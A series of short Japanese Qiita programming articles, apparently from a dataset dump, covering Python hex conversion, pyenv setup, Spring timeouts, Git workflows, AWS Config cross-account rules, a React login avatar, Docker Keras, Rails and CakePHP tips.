OmniAICreator/Qiita-1.07M huggingface dataset:
[Python] byte配列を文字列に変換する

Pythonでバイト列をHexで出力したかった時にどうすれば良いかがググったけどすぐに分からなかったので忘備録です(ブログからの転記です)。  
とりあえずデバッグ用に16進数文字列に変換したいだけであれば、下記の方法で変換できます。

```python
import binascii

# バイト配列を作成する
bytes_data = b'\x02\x1f\xa0'

# 文字列に変換する
hex_string = str(binascii.hexlify(bytes_data), 'utf-8')

# 結果 '021fa0'
print(hex_string)
```

### 追記

もっと簡単な方法を教えていただきました。  

```python
# バイト配列を作成する
bytes_data = b'\x02\x1f\xa0'

# 文字列に変換する
hex_string = bytes_data.hex()
```
MacにおけるPythonの環境構築

# はじめに
Pyenvとpipenvを使った環境構築を行います。

# 対象
* Mac OS

# Pyenvのインストール
## pyenv本体を落としてくる
githubから落として構築した方が良かったです。理由としてはpyenvの最新をgit pull origin masterで簡単に落とせて、最新のPythonが使えるようになるからです。

```
$ git clone https://github.com/yyuu/pyenv.git ~/.pyenv
```
各々の環境に合わせ.bash_profileや.bashrcや.zshなどに下記の情報を加えます。

```bash:
export PYENV_ROOT=$HOME/.pyenv
export PATH=$PYENV_ROOT/bin:$PATH
eval "$(pyenv init -)"
```
あとはターミナルを再起動もしくは下記のようなコマンドで有効化してください。

```
$ source .zsh
```

# Pyenvでpythonをインストール
インストールできるリストは下記コマンドで確認できます。

```bash
$ pyenv install --list
Available versions:
  2.1.3
  2.2.3
  2.3.7
  2.4
  2.4.1
....省略
```

3.6.5をインストール

```
$ pyenv install 3.6.5
```

インストールできたか確認します。

```
$ pyenv versions
* system (set by /Users/yujikawa/.pyenv/version)
  3.6.5
```

このままだとまだデフォルトのPythonのままなので、グローバル設定として切り替えます。

```
$ pyenv global 3.6.5
$ pyenv versions
  system
* 3.6.5 (set by /Users/yujikawa/.pyenv/version)
```

これで完了です

# pipenvの導入
下記コマンドでインストールできます

```
$ pip install pipenv
```

bashもしくはzshに下記の環境を入れておくと、プロジェクトフォルダ以下に環境を作ってくれます。

```bash
export PIPENV_VENV_IN_PROJECT=true
```

あとは開発したいディレクトリ上で下記コマンドでパッケージをインストールしたら自動的に「Pipfile」と「Pipfile.lock」ができます。先にこのファイルを作りたい場合はpipenv installコマンドで行えます。

```
$ pipenv install パッケージ名
```
Spring RestTemplate Config Timeout設定

Spring RedisTemplate でタイムアウトを期待して2000msec 設定しているけど効かずに処理が滞留することがある
設定追加でクリアできるか確認中、だめなら自力でタイムアウト．．．

・設定済
setConnectionRequestTimeout：10000msec
setReadTimeout：2000msec

・追加？
setConnectionRequestTimeout
→ 時間が足らずに検証できず

・自力タイムアウトの方法
今回は Async(Spring @Async 使用のメソッド)だったので return を Future<T> にして対応
RetryTemplate も使用して以下の感じで対応

```java:RetryTemplate
RetryTemplate retryTemplate = new RetryTemplate();

Map<Class<? extends Throwable>, Boolean> exceptions = Maps.newHashMap();
exceptions.put(TimeoutException.class, true);
retryTemplate.setRetryPolicy(new SimpleRetryPolicy(10, exceptions));

FixedBackOffPolicy backOffPolicy = new FixedBackOffPolicy();
backOffPolicy.setBackOffPeriod(10);
retryTemplate.setBackOffPolicy(backOffPolicy);
```
```java:Future<T>(getResult)
Future<T> future = async.execute();
T result = retryTemplate.execute(new RetryCallback<T, TimeoutException>() { 
    @Override
    public T doWithRetry(RetryContext context) throws TimeoutException {
        if (future.isDone()) {
            return future.get();
        }
        throw new TimeoutException();
    }
});
```
※実際は InterruptedException, ExecutionException とかExceptionは適切に catch して処理

参考
・API
https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/http/client/HttpComponentsClientHttpRequestFactory.html
Spring RedisTemplate Config Timeout設定

Spring RedisTemplate で 2000msecでタイムアウトで終了を期待して設定したけど 10000msec ほど Redis の処理で滞留することがある

設定追加でクリアできるか確認中

設定済
・spring.redis.pool.max-wait=2000
・spring.redis.timeout=2000

追加確認中
・spring.redis.cluster.max-redirects

結果は...
・spring.redis.cluster.max-redirects を 1にしたら 4000msec くらいで折り返し
　0 試せてないのが心残りだけど...多少は期待値に近づいた！


参考
・デフォは5回？（2000×5...）
https://github.com/spring-projects/spring-data-redis/blob/master/src/main/java/org/springframework/data/redis/connection/jedis/JedisConnectionFactory.java#L412
・API
https://docs.spring.io/spring-boot/docs/1.5.7.RELEASE/reference/html/common-application-properties.html
https://docs.spring.io/spring-data/redis/docs/1.5.x/api/org/springframework/data/redis/connection/jedis/JedisConnectionFactory.html
Ether の日本円価格を取得

* Ether の日本円価格（レート）を取得する方法です。
* coinmarketcap の API を使用します。

# Node.js によるサンプルコード

```js
let https = require('https');
const url = 'https://api.coinmarketcap.com/v2/ticker/1027/?convert=JPY';

https.get(url, (response) => {
  response.setEncoding('utf8');
	let rawData = '';
  response.on('data', (chunk) => { rawData += chunk; });
  response.on('end', (response) => {
    json = JSON.parse(rawData);
    console.log('ETH/JPY', json.data.quotes.JPY.price);
  });
}).on('error', (e) => {
  console.log(e.message);
});
```
Dropbox Paperに関する社内的な評価

ポエムです。盛り上がったので勢いで書く。

# non-devが使いやすいと感じている理由 (仮説)
## markdownを学ばなくてもやりたい体裁が作れる
(多分dev側は邪魔だとしか思っていないのだが) Paperで文字列を選択すると装飾メニューが出る。そのため、太字や打消しなど、「最低限の装飾要件」をMarkdownを使わずとも満たす事ができる。

これ。
![2018-05-15 01_33_17-無題 – Dropbox Paper.png](https://qiita-image-store.s3.amazonaws.com/0/2158/c74d63c4-9fae-ba06-7e1a-808aabe5ad18.png)



このメニューをnon-devが活用している事は、弊社non-dev層のPaperにおいてハイライトが非常に多用・活用されている事が顕著に示している。僕は最初しばらく「Markdownで書けないこんな高度な機能をみんなどうして活用できているのだろう？」「っていうかこれどうやってやるの？」と疑問だったが、なんてことない、みんな選択すると出てくるメニューをクリックしているだけであった。

## 記述と表示の一体
Paperは1ペインである。他のMarkdown系のツールは2ペインであり、左ペインで記述した内容が右ペインで表示される。

devにとって、「記述と表示の分離」は極めて自然な思想である。それは「HTMLをエディタ書いてブラウザで表示を確認する」というような体験に近く、極論すればプログラミングは「表示する内容の為に全く異なった文字列を書く」行為と言う事もできる。

non-devにとっては、「表示される物を記述する」というのが自然な思想である。パワポもエクセルもそうだし、古い所で言えばそれこそ[Dreamweaver](https://www.weblio.jp/content/%E3%83%89%E3%83%AA%E3%83%BC%E3%83%A0%E3%82%A6%E3%82%A3%E3%83%BC%E3%83%90%E3%83%BC)とかもきっと「表示される物を記述する(作る)、というアプローチがnon-devにとって自然」という考え方が根底にあったのだと思う。そのため、「左ペインで書いた物の見た目を右ペインで確認しないといけない」という体験自体がストレスなのではないかと思う。

## 共同編集への対応力
Paperは多人数編集に耐えうる設計がされている。(後にgoogleに買収された) 古の[EtherPad](https://en.wikipedia.org/wiki/Etherpad) が生み出したリアルタイム同時多人数編集に対応しており、Microsoft Wordが具備するようなコメント機能も持っている。

コメント機能とかは普通に便利なのだが、Markdownの仕様(これがわちゃわちゃしている事は承知の上でここではこう書いてしまう) 上定義されていないと思っており (されてたらゴメン)、dev側は極端な言い方をすると「いつどう活用していいのか解らない」という状況になりがちで、有難みを感じにくい。

反面non-devはそもそもMarkdownを書かず、選択時に出るメニューから自然にコメントを付けれるので自然に活用できている。余談だが、これもハイライト同様、僕は最初「これをMarkdownでどう書くのか」を調べた。だがそんな事できなかった。

# その他
## セマンティック欲の違い
(これも仮説だけど) dev側は「情報を[セマンティック](https://www.weblio.jp/content/%E3%82%BB%E3%83%9E%E3%83%B3%E3%83%86%E3%82%A3%E3%83%83%E3%82%AF)にしておきたい」という基本的欲求がある。プログラム的な観点からするとセマンティック化されている情報とそうでない情報の価値には雲泥の差があるからだ。Markdownで情報を記述する事はこの基本的欲求を満たしてくれる。

のだと思うが、non-devにはこの基本的欲求が無い。つまり、Markdownを学習する為にインセンティブが必要になる。しかし、(既にPaperを使っている) non-devに提示し実感して貰える、「社内の情報共有のドキュメントをちゃんとセマンティック化する事によるベネフィット」を僕は見つけられないでいる。(Paperにロックインされる、というのだけでは理由としては正直弱い)

# なので
Dropbox Paperにタイムライン回りの機能がついて、社内でどういう更新がされてるか可視化されたら弊社に割とぴったりはまりそうだなぁと思いました。
C# System.Diagnositic.Processを非同期実行。(async/awaitで使用する)

#はじめに

非同期のコードはいくつかパターンがありますが、なるべく一つにしたいため、async/awaitに統一できないか検討するなかで、Process.StartとExitedイベントのパターンをasync/awaitで記述する方法を見つけたのでメモしておきます。


#参考

下記、stackoverflowを参考にしました。ほぼリンク先の通りです。
>https://stackoverflow.com/questions/10788982/is-there-any-async-equivalent-of-process-start

#コード
ある2つのファイル(sourceFileName, destinationFileName)に対してFCコマンドを実行し、結果を取得するサンプルです。

```AsyncProcess.cs
private async Task StartCommandAsync(string sourceFileName, string destinationFileName) {
    //Processを非同期に実行
    using (Process process = this.CreateFCProcess(sourceFileName, destinationFileName)) {
        await this.StartCommandAsync(process);
    }
}

private Task StartCommandAsync(Process process) {
    var tcs = new TaskCompletionSource<bool>();
    bool started = false;
    process.Exited += (sender, args) => {
        tcs.SetResult(true);
    };
    process.OutputDataReceived += (sender, args) => {
        if (!string.IsNullOrEmpty(args.Data)) {
            this.m_FCResult += $"{args.Data}\n";
            }
        };
    process.ErrorDataReceived += (sender, args) => {
        if (!string.IsNullOrEmpty(args.Data)) {
            this.m_FCResult += $"Error : {args.Data}\n";
        }
    };

    //プロセスからの情報を受け取る変数の初期化
    this.m_FCResult = "";

    //プロセスの開始
    started = process.Start();
    process.BeginOutputReadLine();
    process.BeginErrorReadLine();

    return tcs.Task;
}

private Process CreateFCProcess(string sourceFileName,string destinationFileName) {
    ProcessStartInfo info = new ProcessStartInfo() {
        FileName = "FC",
        Arguments = $"\"{sourceFileName}\" \"{destinationFileName}\"",
        CreateNoWindow = true,
        UseShellExecute = false,
        RedirectStandardOutput = true,
        RedirectStandardError = true
    };

    Process process = new Process() {
        StartInfo = info,
        EnableRaisingEvents = true,
    };
    return process;
}
```
#おわりに
最終的には、Exitedイベント内で、FCの結果をProcess.ExitCodeで取得したりしていますが、サンプルには含めませんでした。
AsParallelと組み合わせて並列化してみようかとチャレンジしてみましたが、どうも正しくExitCodeが取れず、断念。
結局、この例はあまり非同期実行する意味が無いサンプルになっている状態です。

※実際は、もっと時間のかかる自作VBScriptを非同期で実行するために調べていたのですが、サンプルとしてわかりにくくなるかなと思い、Window標準コマンドを実行するサンプルにしました。
Ubuntu 16.04にWindowsからリモートデスクトップ接続してみた

#はじめに
　WindowからUbuntuにリモートデスクトップ接続でログインできるようにしたので、手順をメモしておきます。
初心者がネット上で検索しながら試行錯誤で何とかつながった記録なので、ツッコミどころ満載かもしれません。

###補足
※2017年9月時点の情報です。
　だいぶ時間がたってしまいましたが、メモしておこうと思い立って投稿しました。
他にもRAIDを組んだり、samba、Redmineなど、おもちゃ箱としてインストールしています。
これらもどこかでメモしておきたいです。

#環境
ホスト側：Ubuntu 16.04
クライアント：Windows 8.1 Pro

#手順

Ubuntu側で下記の手順を行います。

###xrdpのインストール
`apt install xrdp`
xrdp 0.6が入りました。

最新版のインストール
色々試したがうまくいかず、最終的にネット上で発見したxrdp 0.91を入手し、下記のコマンドでインストール
`dpkg -i xrdp_0.9.1^7build1_amd64.deb`

###設定
~/.xsessionにおまじない
`echo "lxsession -s LXDE -e LXDE" > ~/.xsession`
これもうまくいかず、また試行錯誤しました。

覗いたところ、今は`xfce4-session`が設定されています。

vino-preferencesでデスクトップ共有の設定

#結果
windowsからリモートデスクトップでIP直打ちし、consoleを選択し、パスワードを入力すると接続できました。

※いまいち理解できてませんが、sambaをインストールしたあたりから、コンピュータ名で接続できるようになりました。

#疑問
なぜか、console以外では接続できていません。
自宅にある自作Ubuntuマシンのため、再起動したら物理マシンで1回ログインして、そのあとはリモートでログインしています。

多少不便ですがつかえてるので、疑問は放置中です。

2019/2/24追記
自動ログインという機能があることを知り、設定しました。
また、WakeOnLANでWindowsから起動できるようにしました。
これで、物理的な操作無しにWindowsから操作可能になりました。
[WindowsからUbuntuをWake On Lanで起動する](https://qiita.com/kazu3516/items/c710e4363af874ca73cb)
お前らのGitリポジトリ運用フローは間違っている

（タイトルは釣りですが）全国３０００万のエンジニアの皆様は今日もGitの運用に頭を悩ませていることと思います。
思い悩む余りGitFlowやGithubFlowに手を出して傷を広げてしまうことも多々あるかと思います。
今から私が運用の正解をお教えしたいと思います。

## 正解？ ねぇよそんなもん

石を握りしめた方、ちょっとだけ待って下さい。
普遍的な正解はないですが、普遍的な失敗はあるはずです。例えば

- コンフリクト地獄
- リリースしたいブランチに紛れ込む未完成の機能
- リリースしたいブランチに紛れ込む次バージョンの機能

といったものです。
こういった失敗を生み出してしまう原因がわかれば、運用上注意しなければならない事と言うのも自ずから判明するはずです。つまり、

- コンフリクト地獄→ブランチの寿命、マージの方向
- リリースブランチに未完成機能→リリースブランチの明確化、マージ時の動作保証
- リリースブランチに次期バージョン→リリースブランチの明確化、マージタイミングの保証

などと言うことになるわけです。
では、代表的な運用フローであるGitFlow・GitHubFlowを通じて確認していきたいと思います。

## GitFlow
- ブランチの寿命
 - 長寿命ブランチ　→　develop、master
 - 短寿命ブランチ　→　feature、release、hotfix
 - develop→featureのマージを随時行う。
- リリースブランチの明確化　→　本番リリース可能なのはmasterのみ
- マージ時の動作保証　→　feature→developのマージは開発終了時のみとするフローシステム上の「契約」。developからmasterへのマージ時にreleaseブランチを作成し、動作を確認する。
- マージタイミングの保証　→　masterブランチは常にリリース可能であるというフローシステム上の「契約」。リリースタイミングが来ない機能はfeatureおよびdevelopに保留する。

## GithubFlow
- ブランチの寿命
 - 長寿命ブランチ　→　master
 - 短寿命ブランチ　→　feature
 - develop→featureのマージを随時行う。
- リリースブランチの明確化　→　本番リリース可能なのはmasterのみ
- マージ時の動作保証　→　masterへのマージ時にpull requestを発行し、コードレビューを行う
- マージタイミングの保証　→　同上。リリースタイミングが来ない機能はfeatureに保留する。

GithubFlowはGitFlowを簡略化したものなのでよく似ています。
どちらもブランチの寿命を明確化し、長寿命ブランチへのマージに制限をつけること、本番リリースを行うブランチを１つの長寿命ブランチに縛ることによって問題を起こりにくくしています。
GithubFlowはdevelopブランチを削除し、プルリクを使用することによってGitリポジトリ上の作業の簡略化とより厳密なマージの制御を行っています。
が、先ほども言ったとおりこれらだけが正解というわけではありません。
たとえば、必ずしもmasterを唯一のリリース可能ブランチとしなければならないわけではないです。

## 短寿命リリースブランチを使用する
実は今私が携わっているプロジェクトは、「masterからブランチを切り、動作確認が終わり次第そのブランチをリリースする」という運用を行っています。
完全に運用フェイズであり、大規模開発を行う可能性が少ないこと、エンジニアの人数が非常に少なく、口頭での確認で十分にトラブルを避けられることにより、簡略化したフローでも十分に運用可能な状況にあり、かつ、サーバインフラがGAEであり、複数のバージョンが混在してデプロイ可能であるため、リリースブランチも併存する方が自然であるという特殊な条件によるフローですが、名前のついた立派なフローでなくても運用可能であることはおわかりいただけるかと思います。

## 結論
混乱を避けるため、意識すべきは、プロジェクトの寿命、許容するマージの方向、リリース可能ブランチの制限、リリース可能ブランチがクリーンであることの保証です。
あとはプロジェクトによって変化する条件次第で変化するメリットデメリットをどう評価するかでフローを使い分けるべきでしょう。
GitFlowであれば運用時の手数の多さはスピード感を重視するプロジェクトでは大きなデメリットになります。GithubFlowのプルリク・レビュー依存はレビュアーの質がよいことが前提になってしまいます。
私のプロジェクトでの運用はミニマムなチーム以外では通用しないと思われます。

GitFlow、GithubFlow、今回は亜種の多さ故にひとことでの説明が難しく、触れませんでしたがGitlabFlowなど、一通り触れておくといいかと思います。
クロスアカウントでAWS Config Rulesを実行するメモ

ほぼ[参考リンク](https://qiita.com/kure/items/58314db045fa6433763e#%E5%8F%82%E8%80%83)先の手順の通り

# イメージ
あくまでイメージ。厳密には違うかも
![temp.png](https://qiita-image-store.s3.amazonaws.com/0/50690/2fbed5eb-3ff7-0c83-efae-de165c6dc026.png)

# 手順

## 前提

## 1. Lambdaファンクションの作成
（admin-account）
今回は↓のVPCフローログを評価するサンプルを用いる
https://github.com/awslabs/aws-config-rules/blob/master/python/vpc_flow_logs_enabled.py

STSでクロスアカウントでの実行を行うため、以下を追記/コメントアウトした。
`arn:aws:iam::xxxxx:role/cross-account-config-role` は後ほど作るmanaged-accountに用意するクロスアカウント用のIAMロールを指定する。

```python
    sts_client = boto3.client('sts')
    res = sts_client.assume_role(
        RoleArn="arn:aws:iam::xxxxx:role/cross-account-config-role", 
        RoleSessionName="temp")
    access_key = res['Credentials']['AccessKeyId']
    secret_key = res['Credentials']['SecretAccessKey']
    sesstion_token = res['Credentials']['SessionToken']
    region = "ap-northeast-1"
    
    session = Session(access_key, secret_key, sesstion_token, region)
    config = session.client('config')

#    config = boto3.client('config')
```

## 2. Lambdaファンクションへの権限追加
（admin-account）
[managed-account-number]はハイフン抜きのAWSアカウント番号を指定

```sh
kure@ubuntu ~ % aws lambda add-permission \
  --function-name configruletest \
  --region ap-northeast-1 \
  --statement-id 1 \
  --action "lambda:InvokeFunction" \
  --principal config.amazonaws.com \
  --source-account [managed-account-number]
★確認
kure@ubuntu ~ % aws lambda get-policy --function-name configruletest
```

# 3.クロスアカウント用のIAMロール作成
（managed-account）
- クロスアカウント用のIAMロールを作成
- admin-accountのAWSアカウント番号を指定
- ポリシは "config:PutEvaluations" のみを許可
- admin-accountのLambdaに付与したIAMロールへの信頼関係を作成

![cross-account.png](https://qiita-image-store.s3.amazonaws.com/0/50690/76c38059-ee64-648b-89cd-b47c5803b9d9.png)


![policy.png](https://qiita-image-store.s3.amazonaws.com/0/50690/dfa77293-578d-bff8-d111-88ad60f719bf.png)

### 信頼関係
```
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "[admin-account]のLambdaに付与したIAMロールのARN"
      },
      "Action": "sts:AssumeRole",
      "Condition": {}
    }
  ]
}
```

## 4. Config Rulesの作成
（managed-account）
- managed-accountでConfig Rulesを作成
- LambdaのARNはadmin-accountに作成したLambdaのARNを指定

# 参考

How to Centrally Manage AWS Config Rules across Multiple AWS Accounts | AWS DevOps Blog
https://aws.amazon.com/jp/blogs/devops/how-to-centrally-manage-aws-config-rules-across-multiple-aws-accounts/
Login Form Avatar を React で実装してみた

# Login Form Avatar

少し前、 Dribbble で [Animated login form avatar](https://dribbble.com/shots/4249163-Animated-login-form-avatar?utm_campaign=iOS%2BDev%2BWeekly&utm_medium=web&utm_source=iOS%2BDev%2BWeekly%2BIssue%2B349) なるものが人気を得ていました。

ログインフォームの入力欄に文字を入力すると、フォームの上部にいるアバターが文字の入力を目で追い、パスワードを入力し始めると目を覆い隠すというものです。
（実際に見ていただいたほうが早いと思います）

# Login Animal

Login Form Avatar の Swift 実装である [Login Critter](https://github.com/cgoldsby/LoginCritter) に感化され、練習も兼ねて React で実装してみました。

## デモ

| マウスカーソルを追うクマ |
|---|
| ![iambear2.gif](https://qiita-image-store.s3.amazonaws.com/0/138290/0536a7e8-5941-11c7-4e34-dcdd8fdabba6.gif) |

| キャレットを追うクマ |
|---|
| ![iambear3.gif](https://qiita-image-store.s3.amazonaws.com/0/138290/7142b2c6-7a73-9401-9e39-fe2dba157b0b.gif) |

[オンラインデモ](https://kawmra.github.io/LoginAnimal/)

## コード

コードは [GitHub で公開](https://github.com/kawmra/LoginAnimal)しています。が、あとで綺麗に書き直す！と言ったっきり整理していないのでそこは勘弁してください:bow:

# どうやって動いてるの？

## 実は平面的に動いてるだけ
結構立体的に動いているように見えますが、実はこれはマウスカーソルやキャレットの位置に応じて目や鼻や口などのパーツを平面的に動かしているだけです。

今回題材とした動物が単純な丸で構成されていることも助けにはなっていると思いますが、たったこれだけで結構立体的に動いているように見えます。

顔のパーツの可動範囲をあらかじめ定義しておき、マウスカーソルやキャレットの位置に応じてその可動範囲内で動かしています。

たとえばマウスカーソルが画面の一番左（マウスカーソルを動かすことができると勝手に決めた仮想の領域の最も左）にあるときは、パーツの可動範囲のうち最も左になるように、反対に画面の一番右にあるときは可動範囲のうち最も右になるように配置しています。上下も同じです。

それぞれの可動範囲は実際に動かしてみて、それっぽく見えた位置にしています。

## 腕のアニメーション

腕のアニメーションだけ、マウスカーソルやキャレットの位置には関係なく動きます。

あらかじめ両腕が目を覆い隠すように配置しておき、CSS の `transform: translate()` で描画範囲の外に出るようにしておきます。

その後パスワードフォームにフォーカスが当たったタイミングで `transform: unset` を適用することで、パスワードを入力中に両腕で目を覆い隠すようにしています。

# 雑感

当初の想定通り、目で追う対象の移動量に比例してパーツを平面的に動かすだけでも案外立体的に動いているように見えました。
人間の目が補正して、立体的に動いているように見えているんだと思います。人間すごい。

両腕で目を覆い隠すアニメーションのところはなんとなく両腕が描画範囲から外に出る位置に `translate` しているだけなので、腕の画像のサイズや目の位置などを変更した場合にそこも変更しなければいけないというのはなんだか面倒な気がします。改善したいです。

# コードの説明

最後に、軽くコードの説明をしておきます。

まず、アバター全体を表すコンポーネントとして `Animal` コンポーネントがあります。
`Animal` コンポーネントは `directionX`, `directionY` という属性を持ち、これは `Animal` の目線の方向を指定します。

`directionX` と `directionY` はそれぞれ 0 から 1 の値を取り、 0 が最も左（上）で、 1 が最も右 (下) となります。

次に、顔のパーツとして `FacePart` コンポーネントを `Animal` コンポーネントの子要素として追加します。

`FacePart` コンポーネントを `Animal` コンポーネントの子要素に追加することで、 `Animal` に指定した `directionX`, `directionY` 属性が `FacePart` コンポーネントに同期されます。

パーツの可動範囲は `position` 属性に `{minX: number, minY: number, maxX: number, maxY: number}` という構造で指定し、値は全て、親となる `Animal` コンポーネント内での相対的な位置（左上が原点）を 0 から 1 の数で指定します。例えば 0.5 は X 軸方向または Y 軸方向の中央を意味します。

それぞれの `FacePart` コンポーネントは props に指定された `directionX`, `directionY` 属性の値と `position` 属性の値から、親要素 (`Animal`) から見た自身の相対的な位置を決定します。
この時 `FacePart` コンポーネントは `position` で指定された位置が自身のコンポーネントの中心となるように配置されるため、[0.5, 0.5] という位置が指定された場合は完全に中央に配置されることになります。

このデモで使用したクマの耳、頭、目、マズル、鼻、口の可動範囲を指定した `Ear`, `Head`, `Eye`, `Muzzle`, `Nose`, `Mouth` は `FacePart` を継承したコンポーネントとして既に定義してあるので、これらのコンポーネントの `src` 属性だけを変更して画像を差し替えてみるだけでも面白いかもしれません。

良い感じにできたら共有してもらえるとてもうれしいです！
Gitでローカルのブランチをコピーする方法

先日、GitでローカルのブランチAをコピーして同内容のブランチBを作る方法がないじゃん！とあれこれ悩んだので、このことをすっかり忘れて今後悩む時が来た時のために忘備録を残しておきます。

### TL;DR
コピーしたいブランチから `git checkout -b` でブランチを作成する。

### 以下全てが余談
なぜ、いつもやっていることなのに変に難しく考えてしまってこんな簡単なことに気づかなかったんだという気持ちしかないですね。よく考えなくても、ブランチを作成した直後って派生元のブランチと全く同じ状態だから、言うなればそれがコピーじゃん！  

当初は変に難しく「 `-m` でブランチの名前を変更することはできるけど、ブランチをコピーする方法はないな。リモートリポジトリを経由するしか方法はないか……」と考えてしまって

1. ローカルのブランチAをリモートにpushする  
    `git push origin branchA`
1. ローカルのブランチAの名前を変更する  
    `git branch -m branchA branchB`
1. リモートのブランチAをローカルでcheckoutする  
    `git checkout branchA`

上記の手順でブランチAをコピーしてブランチBを作るしかないかと思っていたけど、全然そんなことはなかった！ただ単にブランチAから `git checkout -b` するだけでよかった！

結局、Twitterでボソッと呟いた時にフォロワーからもらった助言で気づけたので、やはり悩みは外に出してみた方がいいなと思いました。
kibelaとSlackの連携にGASを噛ませてメンション化する方法

# 通知をメンション化する
* kibelaとSlackを連携させている（させたい）人向け
* メンションが付いていると自分に必要な情報がピックアップしやすくなるのでおすすめです
* 24時間稼働でも無料です
* GAS使ったことない人、非エンジニアでも出来るように書いてます。

# 使うもの
GAS
google スプレッドシート(userIdの管理)

# 流れ

kibelaの発信webhook→GAS→Slackの着信webhook

# コード
https://github.com/mur71mur/kibela_slack_mention

```js
var postUrl = "{your slack incoming webhook url}";
var spreadSheetId = "{your spreadSheetId}";

// kibalaからのpostを受け取るメインfunction
function doPost(e){
  var body = JSON.parse(e.parameter.payload);
  var converted_body = get_mention(body); //メンション化
  e.parameter.payload = JSON.stringify(converted_body);
  postSlack(e);
}

function postSlack(e){
  var payload = JSON.parse(e.parameter.payload);
  payload['channel'] = e.parameter.group; //このGASの実行urlの最後尾に?group=slackChannelIdをつける
  
  var options = {
    "method" : "post",
    "contentType" : "application/json",
    "payload" : JSON.stringify(payload)
  };
  UrlFetchApp.fetch(postUrl, options);
  
}

// メンバーシートを配列で取得
function getSlackMemberArray() {
  var memberSheet = SpreadsheetApp.openById(spreadSheetId);
  var arr = memberSheet.getSheetValues(1, 1, memberSheet.getLastRow(), memberSheet.getLastColumn());
  return arr;
}

// jsonの中身を修正
function get_mention(body){
  var slackMemberArray = getSlackMemberArray();
  for(var i in slackMemberArray){
    if(slackMemberArray[i][4]==""){
      
    }else{
      var kibelaId = new RegExp('@'+slackMemberArray[i][], 'g');
      body.attachments[0].text = body.attachments[0].text.replace(kibelaId, '<@'+slackMemberArray[i][0]+'> ');
    }
  }
  body.username = "your bot name";
  body.icon_url = "your bot icon url";
  return body;
}
```

1,2,43,44行目を変えてください。
44行目はコメントアウトしても大丈夫です。うちの会社ではアイドルが通知してくれてます笑

公開→ウェブアプリケーションとして導入
を忘れずに。

# IDを管理するSpreadSheet
こんな感じです！
![スクリーンショット 2018-05-22 15.10.04.png](https://qiita-image-store.s3.amazonaws.com/0/225105/42f439ff-3936-9710-daf2-98fadb236df8.png)
KerasをDockerで構築

## インストール

`$ docker pull gw000/keras-full`

## 確認

`$ docker images`

```
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
gw000/keras-full    latest              xxxxxxxxx        2 months ago        11.1GB
```

## 実行

```
docker run -i -p 8888:8888 -v (pwd):/srv -t gw000/keras-full /bin/bash
```

これで実行時のディレクトリがdocker上の/srvにリンクされます。

## 実行中のkeras確認

`docker ps -a`

```
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS                    NAMES
xxxxxxxx        gw000/keras-full    "/bin/bash"         9 hours ago         Up 9 hours          0.0.0.0:8888->8888/tcp   stupefied_curran
```

## 実行中のコンテナに入る

`docker exec -it xxxxxxxxx /bin/bash`

xxxxxxxxx: コンテナID

## jupyter実行

`jupyter notebook ./main.ipynb --ip 0.0.0.0 --no-browser --allow-root`
RailsのUploadedFileクラスのreadメソッドは一度しか使えないので注意

# はじめに

RailsのUploadedFileクラスのreadメソッドが一度しか使用できないのを知らなかったため、
めちゃくちゃハマったので、記録しておきます。

# Error内容

Formでアップロードした画像をreadメソッドでバイナリデータを取得した際に出ました。

以下は、サンプルコード

```ruby
obj1 = MiniMagick::Image.read(image_params[:image].read)
obj2 = MiniMagick::Image.read(image_params[:image].read)
```

```shell
MiniMagick::Invalid (`identify /tmp/mini_magick20180514-16853-k8cps` failed with error:
identify: no decode delegate for this image format `' @ error/constitute.c/ReadImage/512.
):
```

Error内容はそのFormatに対応してないよとのことですが。。


## 解決策

```ruby
image_bin = image_params[:image]read
obj1 = MiniMagick::Image.read(image_bin)
obj2 = MiniMagick::Image.read(image_bin)
```

とにかく一度変数に格納してしまえば良かったっぽいです。


## まとめ

単純にUploadedFileクラスのreadメソッドは２回使えないらしいです。

知ってる人には当たり前かもしれないが、知らない私からすると謎すぎて解決にすごい時間がかかりました。

誰かのためになることを祈っています。
paizaを使ってタイムアウトが出た時の注意

paizaでPHPの動作確認をしていると、タイムアウトになることがあると思います。
私も、今日まで数日、なんでタイムアウトになってしまい処理が途中のまま止まってしまうのか、色々ネット検索して試行錯誤していました。

その中で閃いて、paizaのクラウドのサービスで、サーバーを作って、PHPのソースをコピペして、動作確認しました。

そしたら、挙動が変わりました。
タイムアウトではなく、ブラウザで494で、ページが無いというエラーが出ました。
そのため、PHPでWebページを読み込む方法をcURLに変えて試しました。
それでも解決しないので、exitをソースに足して、処理を指定回数で止めて見ました。

そしたら、狙い通り、ちゃんと結果を表示できました。

しかも、処理していた件数が、クラウドでは無いpaizaの方で処理したよりも、クラウドの方が多く処理をしていました。

つまり、ファイル単位で動作確認できるpaizaの方は、タイムアウトの時間が固定されているようです。

だからタイムアウトで止まったとしても、原因は別にあるように思います。
そして、解決策が見つからない時は、クラウドのpaizaを試すと良いと思います。
CakePHP3のマイグレーションで複合ユニークキー設定

`addIndex`で複合ユニークキーに設定したいカラムと`['unique' => true]`を指定する。

```php
$table = $this->table('table_name');

$table->addColumn('company_id', 'integer', ['limit' => 11])
      ->addColumn('employee_id', 'integer', ['limit' => 11])
      ->addIndex(['company_id', 'employee_id'], ['unique' => true]);
```

マイグレーション関連はCakeのCookbookよりPhinxのマニュアルを見た方が色々載っているので良い。

(参考) http://docs.phinx.org/en/latest/migrations.html#creating-a-table
Ruby テストの意味　必要性（初心者）

Rubyの参考書を読みながらの勉強。
今回はテストの意味とその必要性について

##テストの意味
自分の書いたプログラムの動作を自動的に確認するためのもの。
テストコードを自分で書く手間があるが、一度しっかり書いてしまえば
テストファイルを実行するだけで対象のプログラムの挙動をチェックしてくれる。

##テストの必要性
自分の書いたプログラムは当然動作の確認が必要となる。
しかし、テストプログラムが無いと目視での確認となる。
人力でやると疲れるしミスもするし文句も言いたくなるから黙って黙々作業する
PCにお任せすれば全て丸くおさまる。
次いで各機能ごとに必ず必要な挙動、アルゴリズムをテストに落としこんでおくと
後に改修作業やリファクタリングをした後テストを実行し、パスすればその機能は少なくとも
確保されているから元の機能を損なわずに改修、改造等できる。

以下に自分が感じたテストの必要性をまとめる。

- サービスの機能確保（改修による突然のバグを未然に防げる）
- 機能の確認の自動化
- 工数を結果的に抑えることができる

##テストコードの実装
簡単なテストコードの実装準備について

